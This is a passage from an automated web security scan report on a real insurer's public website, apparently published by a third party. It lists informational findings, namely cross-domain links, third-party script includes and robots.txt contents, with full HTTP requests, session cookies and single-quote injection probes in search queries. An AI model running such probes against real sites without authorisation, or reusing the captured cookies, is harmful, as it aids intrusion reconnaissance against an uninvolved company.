Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.2.10.1293816475

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:17:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:28:52 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.google.com/afsonline/show_afs_search.js"></script>
...[SNIP]...

3.6. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=fr,00.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=fr&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:13 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:24 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.google.com/afsonline/show_afs_search.js"></script>
...[SNIP]...

4. Cross-domain script include  previous  next
There are 6 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://www.manulife.com/public/about/index/0,,lang=en&navId=610005,00.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/about/index/0,,lang=en&navId=610005,00.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /public/about/index/0,,lang=en&navId=610005,00.html HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:03 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


<link re
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=manulife"></script>
...[SNIP]...

4.2. http://www.manulife.com/public/about/index/0,,lang=en&navId=610016,00.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/about/index/0,,lang=en&navId=610016,00.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /public/about/index/0,,lang=en&navId=610016,00.html HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:04 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


<link re
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=manulife"></script>
...[SNIP]...

4.3. http://www.manulife.com/public/about/index/0,,lang=en&navId=610034,00.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/about/index/0,,lang=en&navId=610034,00.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /public/about/index/0,,lang=en&navId=610034,00.html HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:03 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


<link re
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=manulife"></script>
...[SNIP]...

4.4. http://www.manulife.com/public/investor/index/0,,lang=en&navId=640003,00.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/investor/index/0,,lang=en&navId=640003,00.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /public/investor/index/0,,lang=en&navId=640003,00.html HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:05 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


<link re
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=manulife"></script>
...[SNIP]...

4.5. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=en,00.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/home/index/0,,lang=en,00.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.2.10.1293816475

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:17:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:28:52 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.google.com/afsonline/show_afs_search.js"></script>
...[SNIP]...

4.6. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=fr,00.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /public/search/custom_search/0,,lang=fr,00.html HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:22 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.google.com/afsonline/show_afs_search.js"></script>
...[SNIP]...

5. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/common/include/stock

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.manulife.com

Response

HTTP/1.1 200 OK
Content-Length: 369
Content-Type: text/plain
Content-Location: http://www.manulife.com/robots.txt
Last-Modified: Mon, 01 Nov 2010 17:48:55 GMT
Accept-Ranges: bytes
ETag: "2eaa9fded79cb1:d91"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Fri, 31 Dec 2010 17:19:03 GMT
Connection: close

User-agent: *
Sitemap: http://www.manulife.com/Sitemap.xml
Disallow: /public/printpreview/
Disallow: /corporate/
Disallow: /public/error/
Disallow: /public/news/detail/0,,artId=145906&lang=en&nav
...[SNIP]...

Report generated by XSS.CX at Fri Dec 31 12:11:51 CST 2010.